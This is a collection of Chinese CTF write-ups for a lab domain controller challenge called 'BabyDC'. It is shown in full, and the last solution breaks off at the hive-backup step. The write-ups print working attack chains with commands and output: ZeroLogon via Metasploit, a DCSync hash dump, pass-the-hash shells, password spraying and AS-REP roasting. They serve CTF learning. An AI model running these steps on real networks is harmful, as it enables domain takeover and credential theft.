&lt;p&gt;cs 派生一个 beacon，但是不知道为什么不能执行命令，猜下一步应该是 SeBackupPrivilege 提升权限，通过卷影副本提取 SAM/SYSTEM 文件的副本，问题就是没那到 mowen 用户的执行权限&lt;/p&gt;
&lt;h2&gt;zerologon&lt;/h2&gt;
&lt;p&gt;没想到原来能打 zerologon，这应该是一个非预期&lt;/p&gt;
&lt;p&gt;置空域管hash后导出&lt;/p&gt;
&lt;p&gt;pth 上线&lt;/p&gt;
&lt;p&gt;但是我还是很纠结，mowen 到底怎么利用 SeBackupPrivilege 权限，没有 smbexec wmiexec winrmexec ，派生也没有拿到shell&lt;/p&gt;
&lt;h1&gt;&amp;#39;&amp;#39;Always⌒（Zerologon）&lt;/h1&gt;
&lt;h2&gt;题目信息&lt;/h2&gt;
&lt;p&gt;名称: BabyDC&lt;/p&gt;
&lt;p&gt;类别: Web&lt;/p&gt;
&lt;p&gt;分数: 1000&lt;/p&gt;
&lt;p&gt;赛事: PolarisCTF 2026&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;环境配置&lt;/h2&gt;
&lt;p&gt;从提供的百度网盘链接下载了虚拟机镜像，并将其导入到 VirtualBox 7.2.0 中。虚拟机配置了NAT (Host-Only) 网络适配器，以便攻击机 (Kali Linux) 能够直接访问它。&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;信息收集&lt;/h2&gt;
&lt;p&gt;Nmap 网段+端口扫描&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;$ nmap -sV -sC 192.168.40.132

PORT     STATE SERVICE

53/tcp   open  domain
80/tcp   open  http
88/tcp   open  kerberos-sec
135/tcp  open  msrpc
139/tcp  open  netbios-ssn
389/tcp  open  ldap
445/tcp  open  microsoft-ds
464/tcp  open  kpasswd5
593/tcp  open  http-rpc-epmap
636/tcp  open  ldapssl
1433/tcp open  ms-sql-s
3268/tcp open  globalcatLDAP
3269/tcp open  globalcatLDAPssl
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;目标是一台 Windows Server 2019 域控制器 (Build 17763)。&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;通过 LDAP 获取域信息&lt;/h2&gt;
&lt;p&gt;对 rootDSE 进行匿名 LDAP 绑定，发现了以下信息：&lt;/p&gt;
&lt;p&gt;域名: XMCVE.local&lt;/p&gt;
&lt;p&gt;DC 主机名: CASTLEVANIA.XMCVE.local&lt;/p&gt;
&lt;p&gt;林/域功能级别: 7 (Windows Server 2016)&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;SMB 枚举&lt;/h2&gt;
&lt;p&gt;匿名/访客 (Guest) SMB 登录被拒绝。空会话 (Null session) 同样被阻止。&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;Kerberos 用户枚举&lt;/h2&gt;
&lt;p&gt;使用 Kerberos AS-REQ 请求来枚举有效账户：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;$ ldapsearch -x -H ldap://192.168.40.132 -s base

# dnsHostName: CASTLEVANIA.XMCVE.local
# defaultNamingContext: DC=XMCVE,DC=local

$ crackmapexec smb 192.168.40.132

SMB  192.168.40.132  445  CASTLEVANIA  [*] Windows 10 / Server 2019 Build 17763 x64
     (name:CASTLEVANIA) (domain:XMCVE.local) (signing:True) (SMBv1:False)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;发现的有效账户包括： administrator , admin , castlevania , support。&lt;/p&gt;
&lt;p&gt;所有账户都需要预身份验证（意味着无法进行 AS-REP Roasting 攻击）。&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;$ impacket-GetNPUsers XMCVE.local/ -dc-ip 192.168.40.132 -no-pass -usersfile users.txt

[-] User administrator doesn&amp;#39;t have UF_DONT_REQUIRE_PREAUTH set
[-] User admin doesn&amp;#39;t have UF_DONT_REQUIRE_PREAUTH set
[-] User castlevania doesn&amp;#39;t have UF_DONT_REQUIRE_PREAUTH set
[-] User support doesn&amp;#39;t have UF_DONT_REQUIRE_PREAUTH set
[-] Kerberos SessionError: KDC_ERR_CLIENT_REVOKED (guest, krbtgt - disabled)
&lt;/code&gt;&lt;/pre&gt;
&lt;hr&gt;
&lt;h2&gt;漏洞发现&lt;/h2&gt;
&lt;p&gt;ZeroLogon (CVE-2020-1472)&lt;/p&gt;
&lt;p&gt;使用 CrackMapExec 检查域控制器是否存在 ZeroLogon 漏洞：&lt;/p&gt;
&lt;p&gt;该域控存在 CVE-2020-1472 (ZeroLogon) 漏洞。此漏洞利用了 Netlogon 协议中 AES-CFB8 实现的加密学缺陷，允许未经身份验证的攻击者将域控制器的计算机账户密码直接重置为空。&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;漏洞利用&lt;/h2&gt;
&lt;h3&gt;第一步：ZeroLogon 漏洞利用&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;$ crackmapexec smb 192.168.40.132 -u &amp;#39;&amp;#39; -p &amp;#39;&amp;#39; -M zerologon

ZEROLOGO...  192.168.40.132  445  CASTLEVANIA  VULNERABLE

msf6&amp;gt; use auxiliary/admin/dcerpc/cve_2020_1472_zerologon
msf6&amp;gt; set RHOSTS 192.168.40.132
msf6&amp;gt; set NBNAME CASTLEVANIA
msf6&amp;gt; run

[+] 192.168.40.132:49668 - Successfully authenticated
[+] 192.168.40.132:49668 - Successfully set the machine account (CASTLEVANIA$) password to:
    aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0 (empty)
&lt;/code&gt;&lt;/pre&gt;
&lt;hr&gt;
&lt;h3&gt;第二步：DCSync - 导出所有域哈希&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;$ impacket-secretsdump -hashes &amp;#39;:31d6cfe0d16ae931b73c59d7e0c089c0&amp;#39; \
   -just-dc &amp;#39;XMCVE.local/CASTLEVANIA$&amp;#39;@192.168.40.132

[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)

Administrator:500:aad3b435b51404eeaad3b435b51404ee:d94f9831271e229dbc6e712097b63168:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:1e3c4fe72e1383c576b4b3aeef4730a8:::
Alucard:1000:aad3b435b51404eeaad3b435b51404ee:d94f9831271e229dbc6e712097b63168:::
XMCVE.local\p2zhh:1104:aad3b435b51404eeaad3b435b51404ee:bc2bf43119e258bcecf71d44abc29db7:::
XMCVE.local\mowen:1105:aad3b435b51404eeaad3b435b51404ee:efb5fa49a38497a71e144f690860688e:::
&lt;/code&gt;&lt;/pre&gt;
&lt;hr&gt;
&lt;h3&gt;第三步：哈希传递- 获取管理员 Shell&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;XMCVE.local\sales:1106:aad3b435b51404eeaad3b435b51404ee:2b576acbe6bcfda7294d6bd18041b8fe:::
XMCVE.local\support:1107:aad3b435b51404eeaad3b435b51404ee:2b576acbe6bcfda7294d6bd18041b8fe::
:
XMCVE.local\it:1108:aad3b435b51404eeaad3b435b51404ee:2b576acbe6bcfda7294d6bd18041b8fe:::
XMCVE.local\hr:1109:aad3b435b51404eeaad3b435b51404ee:2b576acbe6bcfda7294d6bd18041b8fe:::
XMCVE.local\admin:1110:aad3b435b51404eeaad3b435b51404ee:2b576acbe6bcfda7294d6bd18041b8fe:::
XMCVE.local\sqlsvc:1112:aad3b435b51404eeaad3b435b51404ee:d93ef04edb808c5bce3a5bd67b936ca9:::
CASTLEVANIA$:1001:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;$ impacket-psexec -hashes &amp;#39;:d94f9831271e229dbc6e712097b63168&amp;#39; \
   &amp;#39;XMCVE.local/Administrator@192.168.40.132&amp;#39; &amp;#39;whoami&amp;#39;

nt authority\system
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;$ impacket-wmiexec -hashes &amp;#39;:d94f9831271e229dbc6e712097b63168&amp;#39; \
   &amp;#39;XMCVE.local/Administrator@192.168.40.132&amp;#39; &amp;#39;whoami&amp;#39;

xmcve\administrator
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;$ impacket-wmiexec -hashes &amp;#39;:d94f9831271e229dbc6e712097b63168&amp;#39; \
   &amp;#39;XMCVE.local/Administrator@192.168.40.132&amp;#39; &amp;#39;hostname&amp;#39;
   
CASTLEVANIA
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;$ impacket-wmiexec -hashes &amp;#39;:d94f9831271e229dbc6e712097b63168&amp;#39; \
   &amp;#39;XMCVE.local/Administrator@192.168.40.132&amp;#39; &amp;#39;net user administrator&amp;#39;

User name                   Administrator
Account active              Yes
Local Group Memberships     *Administrators
Global Group memberships    *Domain Users         *Domain Admins
&lt;/code&gt;&lt;/pre&gt;
&lt;hr&gt;
&lt;h2&gt;攻击路径总结&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;*Enterprise Admins    *Schema Admins
                 *Group Policy Creator

未经身份验证的攻击者
   │
   ▼
[1] ZeroLogon (CVE-2020-1472)
   │ 利用 Netlogon AES-CFB8 缺陷绕过身份验证
   │ 将 CASTLEVANIA$ 计算机账户密码置空
   ▼
[2] DCSync
   │ 使用空密码的计算机账户凭据，通过 DRSUAPI
   │ 协议复制所有域密码哈希
   ▼
[3] 哈希传递 (Pass-the-Hash)
   │ 使用 Administrator 的 NTLM 哈希
   │ (d94f9831271e229dbc6e712097b63168) 进行身份验证并执行命令
   ▼
[4] 获取 CASTLEVANIA (DC) 的 SYSTEM / Domain Admin Shell
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;Pr0x1ma（Zerologon）&lt;/h1&gt;
&lt;h2&gt;配环境&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/myself%20machine/Castlevania-Unexpected-23.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/myself%20machine/Castlevania-Unexpected-24.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;h2&gt;找ip&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;找到 192.168.56.101 然后扫一下&lt;/p&gt;
&lt;/blockquote&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;nmap -sn 192.168.56.0/24
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/myself%20machine/Castlevania-Unexpected-25.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;h2&gt;nmap&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;nmap -sV -sC -A -oN dc1_scan.txt 192.168.56.101
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/myself%20machine/Castlevania-Unexpected-26.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;h2&gt;分析&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;主机信息
主机名：CASTLEVANIA
域名：XMCVE.local
端口与服务
7、80：IIS 10（Web 服务）
88：Kerberos（身份验证服务）
389 / 3268：LDAP / 全局编录（域目录服务）
445：SMB（文件共享服务）
1433：Microsoft SQL Server 2016 SP2
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Web&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;但是没啥东西，在用dirsearch看看  &lt;/p&gt;
&lt;/blockquote&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;curl -I 192.168.56.101
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/myself%20machine/Castlevania-Unexpected-27.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;h2&gt;dirsearch&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt; 也没什么东西  &lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/myself%20machine/Castlevania-Unexpected-28.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;h2&gt;Kerberos&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt; 不能进行AS-REP Roasting  &lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/myself%20machine/Castlevania-Unexpected-29.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;h2&gt;MSSQL&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt; 没用，空密码登录也不行  &lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/myself%20machine/Castlevania-Unexpected-30.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;h2&gt;DNS&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt; 啥也没有  &lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/myself%20machine/Castlevania-Unexpected-31.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/myself%20machine/Castlevania-Unexpected-32.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/myself%20machine/Castlevania-Unexpected-33.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;h2&gt;ZeroLogon&lt;/h2&gt;
&lt;h3&gt;检测&lt;/h3&gt;
&lt;blockquote&gt;
&lt;p&gt; 找了半天发现ZeroLogon是可行的  &lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/myself%20machine/Castlevania-Unexpected-34.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;h3&gt;利用&lt;/h3&gt;
&lt;blockquote&gt;
&lt;p&gt; 找个能利用的脚本，清空密码  &lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/myself%20machine/Castlevania-Unexpected-35.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;h2&gt;DCSync&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt; DCSync拿Administrator的哈希  &lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/myself%20machine/Castlevania-Unexpected-36.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;h2&gt;Getshell&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt; 哈希传递拿shell  &lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/myself%20machine/Castlevania-Unexpected-37.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;h1&gt;lpppp**（域用户-弱口令）**&lt;/h1&gt;
&lt;h2&gt;题目信息&lt;/h2&gt;
&lt;p&gt;题目名称：BabyDC&lt;/p&gt;
&lt;p&gt;目标地址：&lt;code&gt;192.168.56.155&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;本题没有提供最终 &lt;code&gt;flag.txt&lt;/code&gt;，通关目标是获取最高权限。实际打通后，不仅拿到了目标主机的 &lt;code&gt;NT AUTHORITY\SYSTEM&lt;/code&gt;，还进一步导出了整套域凭据，因此可以认为整台域控已经被完全接管。&lt;/p&gt;
&lt;h2&gt;整体判断&lt;/h2&gt;
&lt;p&gt;这题最关键的地方不在 Web 页面本身，而在于它是一台对外暴露了多种企业服务的域控。最开始做端口识别时，可以看到同时开放了 &lt;code&gt;80&lt;/code&gt;、&lt;code&gt;88&lt;/code&gt;、&lt;code&gt;389&lt;/code&gt;、&lt;code&gt;445&lt;/code&gt;、&lt;code&gt;1433&lt;/code&gt; 等典型的 AD 与 MSSQL 服务端口。看到这种端口组合，应该立刻意识到这不是单纯的 Web 打点题，而是一个典型的“从弱口令或目录服务入手，逐步拿域内高权限”的内网题。&lt;/p&gt;
&lt;p&gt;真正打通这题的主链如下：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;先识别主机角色，确认这是一台域控。&lt;/li&gt;
&lt;li&gt;用 Kerberos 与 SMB 做小规模弱口令喷洒，拿到首个低权域账户。&lt;/li&gt;
&lt;li&gt;用这个低权账户查询 LDAP，找到开启“不需要 Kerberos 预认证”的用户。&lt;/li&gt;
&lt;li&gt;对该用户做 AS-REP Roast，离线爆破得到更高价值账户口令。&lt;/li&gt;
&lt;li&gt;利用该账户属于 &lt;code&gt;Backup Operators&lt;/code&gt; 这一点，远程备份注册表 hive。&lt;/li&gt;
&lt;li&gt;将 &lt;code&gt;SAM&lt;/code&gt;、&lt;code&gt;SYSTEM&lt;/code&gt;、&lt;code&gt;SECURITY&lt;/code&gt; 拉回本地离线提取秘密，拿到本地 &lt;code&gt;Administrator&lt;/code&gt; 哈希和服务账号口令。&lt;/li&gt;
&lt;li&gt;使用 &lt;code&gt;Administrator&lt;/code&gt; 的 NTLM 直接 Pass-the-Hash 到目标，获得 &lt;code&gt;SYSTEM&lt;/code&gt;。&lt;/li&gt;
&lt;li&gt;再用已经拿到的高权限继续导出整套域凭据，完成整题。&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;整个过程里，真正起决定作用的知识点只有三个：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;域用户弱口令喷洒&lt;/li&gt;
&lt;li&gt;AS-REP Roast&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Backup Operators&lt;/code&gt; 结合 &lt;code&gt;reg.py backup&lt;/code&gt; 远程导出 hive&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;其它分支虽然有探测，但并没有用于最终利用链，这里不写。&lt;/p&gt;
&lt;h2&gt;第一步：端口识别，确认目标是一台域控&lt;/h2&gt;
&lt;p&gt;先用 &lt;code&gt;nmap&lt;/code&gt; 对目标做标准服务识别：&lt;/p&gt;
&lt;p&gt;nmap -Pn -sC -sV -T4 192.168.56.155&lt;/p&gt;
&lt;p&gt;这条命令的作用如下：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;-Pn&lt;/code&gt; 表示不做主机发现，直接认为目标在线，避免 ICMP 被过滤导致误判。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;-sC&lt;/code&gt; 调用常用 NSE 脚本，补充基础服务信息。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;-sV&lt;/code&gt; 探测服务版本。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;-T4&lt;/code&gt; 提高扫描速度。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;关键结果如下：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;53/tcp   open  domain        Simple DNS Plus
80/tcp   open  http          Microsoft IIS httpd 10.0
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP
445/tcp  open  microsoft-ds?
1433/tcp open  ms-sql-s      Microsoft SQL Server 2016 SP2

Domain: XMCVE.local
Host: CASTLEVANIA.XMCVE.local
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;看到这个结果时，基本可以直接下结论：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;88&lt;/code&gt;、&lt;code&gt;389&lt;/code&gt;、&lt;code&gt;445&lt;/code&gt; 说明这是 AD 环境。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;389&lt;/code&gt; 的返回里已经给出了域名 &lt;code&gt;XMCVE.local&lt;/code&gt;。&lt;/li&gt;
&lt;li&gt;主机名是 &lt;code&gt;CASTLEVANIA.XMCVE.local&lt;/code&gt;。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;1433&lt;/code&gt; 说明这台机子还跑了 SQL Server。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;这一步非常重要，因为后面所有账号格式、认证方式、攻击顺序都要围绕“域控”来设计。也正因为它是域控，所以一旦打穿，收益会非常高。&lt;/p&gt;
&lt;h2&gt;第二步：小规模弱口令喷洒，拿到第一个可用域账户&lt;/h2&gt;
&lt;p&gt;既然这是域环境，直接盲扫 Web 没有明显入口时，最自然的思路就是先找一个最低成本的可用身份。这里没有上大字典，而是只做了小规模、高命中率的喷洒，避免无意义浪费时间。&lt;/p&gt;
&lt;p&gt;先用 &lt;code&gt;GetNPUsers.py&lt;/code&gt; 对一小批可能存在的用户做探测：&lt;/p&gt;
&lt;p&gt;GetNPUsers.py XMCVE.local/ -dc-ip 192.168.56.155 -no-pass -usersfile /tmp/babydc_users.txt&lt;/p&gt;
&lt;p&gt;这条命令的作用不是爆密码，而是利用 Kerberos 的错误回显区分“用户存在”和“用户不存在”。&lt;/p&gt;
&lt;p&gt;从结果里可以确认如下用户是存在的：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;admin&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;support&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;sqlsvc&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;castlevania&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;alucard&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;有了有效用户名后，再用 &lt;code&gt;netexec&lt;/code&gt; 对 SMB 做一个非常小的弱口令喷洒：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;netexec smb 192.168.56.155 \
  -u /tmp/babydc_valid_users.txt \
  -p /tmp/babydc_passwords.txt \
  --continue-on-success
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这里的思路很明确：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;只打一小批最常见口令，如 &lt;code&gt;Password123!&lt;/code&gt;、&lt;code&gt;P@ssw0rd!&lt;/code&gt; 以及用户名同密码变体。&lt;/li&gt;
&lt;li&gt;用 &lt;code&gt;--continue-on-success&lt;/code&gt; 保证一个账户命中后继续跑完，看看是否存在统一弱口令。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;关键命中结果如下：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;[+] XMCVE.local\admin:Password123!
[+] XMCVE.local\support:Password123!
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这一步说明题目确实存在统一弱口令设计，而且此时已经拥有了两个可用域用户。虽然它们还不是高权限，但已经足够进入 LDAP 查询阶段。&lt;/p&gt;
&lt;h2&gt;第三步：查询 LDAP，锁定真正有利用价值的用户&lt;/h2&gt;
&lt;p&gt;有了 &lt;code&gt;admin:Password123!&lt;/code&gt; 之后，下一件事不是继续无脑喷更多口令，而是立刻转向 LDAP 收集高价值用户属性。&lt;/p&gt;
&lt;p&gt;这里使用：&lt;/p&gt;
&lt;p&gt;netexec ldap 192.168.56.155 -u admin -p &amp;#39;Password123!&amp;#39; --users&lt;/p&gt;
&lt;p&gt;这个命令会把域中的用户枚举出来，并附带一些基础属性，比如最近修改密码时间、描述等。关键输出如下：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;Administrator
Alucard
p2zhh
mowen
sales
support
it
hr
admin
sqlsvc    SQL Server Service Account
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;接着进一步查询 &lt;code&gt;mowen&lt;/code&gt; 的属性：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;ldapsearch -x -H ldap://192.168.56.155 \
  -D &amp;#39;XMCVE\admin&amp;#39; -w &amp;#39;Password123!&amp;#39; \
  -b &amp;#39;DC=XMCVE,DC=local&amp;#39; \
  &amp;#39;(sAMAccountName=mowen)&amp;#39; \
  pwdLastSet description memberOf userAccountControl
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;关键结果是：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;memberOf: CN=Backup Operators,CN=Builtin,DC=XMCVE,DC=local
userAccountControl: 4260352
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这里的 &lt;code&gt;4260352&lt;/code&gt; 非常关键。把它转成十六进制是：&lt;/p&gt;
&lt;p&gt;0x410200&lt;/p&gt;
&lt;p&gt;它包含了以下位：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;NORMAL_ACCOUNT&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;DONT_EXPIRE_PASSWORD&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;DONT_REQ_PREAUTH&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;其中真正决定利用方向的是 &lt;code&gt;DONT_REQ_PREAUTH&lt;/code&gt;。这意味着 &lt;code&gt;mowen&lt;/code&gt; 不需要 Kerberos 预认证，可以直接做 AS-REP Roast。与此同时，它还属于 &lt;code&gt;Backup Operators&lt;/code&gt;，说明即使这个账户不是管理员，也非常可能具备系统级备份相关能力。这两个条件叠加，使得 &lt;code&gt;mowen&lt;/code&gt; 立刻成为整题最关键的突破口。&lt;/p&gt;
&lt;h2&gt;第四步：对 mowen 做 AS-REP Roast，离线爆出真实口令&lt;/h2&gt;
&lt;p&gt;确定 &lt;code&gt;mowen&lt;/code&gt; 开启了 &lt;code&gt;DONT_REQ_PREAUTH&lt;/code&gt; 后，下一步就是直接请求它的 AS-REP 响应并离线爆破。&lt;/p&gt;
&lt;p&gt;先生成哈希：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;echo mowen &amp;gt;/tmp/mowen_only.txt
GetNPUsers.py XMCVE.local/ \
  -dc-ip 192.168.56.155 \
  -no-pass \
  -request \
  -format hashcat \
  -outputfile /tmp/mowen_asrep.hash \
  -usersfile /tmp/mowen_only.txt
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;生成出的哈希大致如下：&lt;/p&gt;
&lt;p&gt;$krb5asrep$23$&lt;a href=&quot;mailto:mowen@XMCVE.LOCAL&quot;&gt;mowen@XMCVE.LOCAL&lt;/a&gt;:2ebf4c95b4b4915427a335c63359292f$...&lt;/p&gt;
&lt;p&gt;然后使用 &lt;code&gt;hashcat&lt;/code&gt; 离线爆破：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;hashcat -m 18200 /tmp/mowen_asrep.hash /usr/share/wordlists/rockyou.txt --force
hashcat -m 18200 /tmp/mowen_asrep.hash --show --force
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这里 &lt;code&gt;-m 18200&lt;/code&gt; 对应的就是 Kerberos 5 AS-REP 哈希模式。&lt;/p&gt;
&lt;p&gt;最终爆破结果：&lt;/p&gt;
&lt;p&gt;mowen:1maxwell&lt;/p&gt;
&lt;p&gt;也就是说，我们拿到了第二个更高价值的域用户：&lt;/p&gt;
&lt;p&gt;XMCVE\mowen : 1maxwell&lt;/p&gt;
&lt;p&gt;这一跳是整道题最核心的转折点。前面的 &lt;code&gt;admin/support&lt;/code&gt; 只是拿来查询 LDAP 的低权账号，真正能把题做通的是 &lt;code&gt;mowen&lt;/code&gt;。&lt;/p&gt;
&lt;h2&gt;第五步：验证 mowen 的权限，确认 Backup Operators 利用可行&lt;/h2&gt;
&lt;p&gt;拿到 &lt;code&gt;mowen:1maxwell&lt;/code&gt; 后，第一件事就是判断它到底有多大权限。这里使用：&lt;/p&gt;
&lt;p&gt;netexec smb 192.168.56.155 -u mowen -p &amp;#39;1maxwell&amp;#39; --shares&lt;/p&gt;
&lt;p&gt;返回结果如下：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;ADMIN$          READ
C$              READ,WRITE
IPC$            READ
NETLOGON        READ
SYSVOL          READ
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这个结果说明两件事：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;mowen&lt;/code&gt; 确实拥有非常强的文件级能力。&lt;/li&gt;
&lt;li&gt;它对 &lt;code&gt;C$&lt;/code&gt; 具备读写权限，这和 &lt;code&gt;Backup Operators&lt;/code&gt; 的身份完全吻合。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;但此时还不能直接等价于“远程命令执行”。随后测试了 &lt;code&gt;wmiexec.py&lt;/code&gt;、&lt;code&gt;atexec.py&lt;/code&gt; 等方式，结果都返回 &lt;code&gt;rpc_s_access_denied&lt;/code&gt;，说明它并不具备完整的远程执行 ACL。因此正确的思路不是强行打 WMI/计划任务，而是回到 &lt;code&gt;Backup Operators&lt;/code&gt; 的本质能力：远程备份系统数据。&lt;/p&gt;
&lt;h2&gt;第六步：利用 Backup Operators 远程备份注册表 hive&lt;/h2&gt;
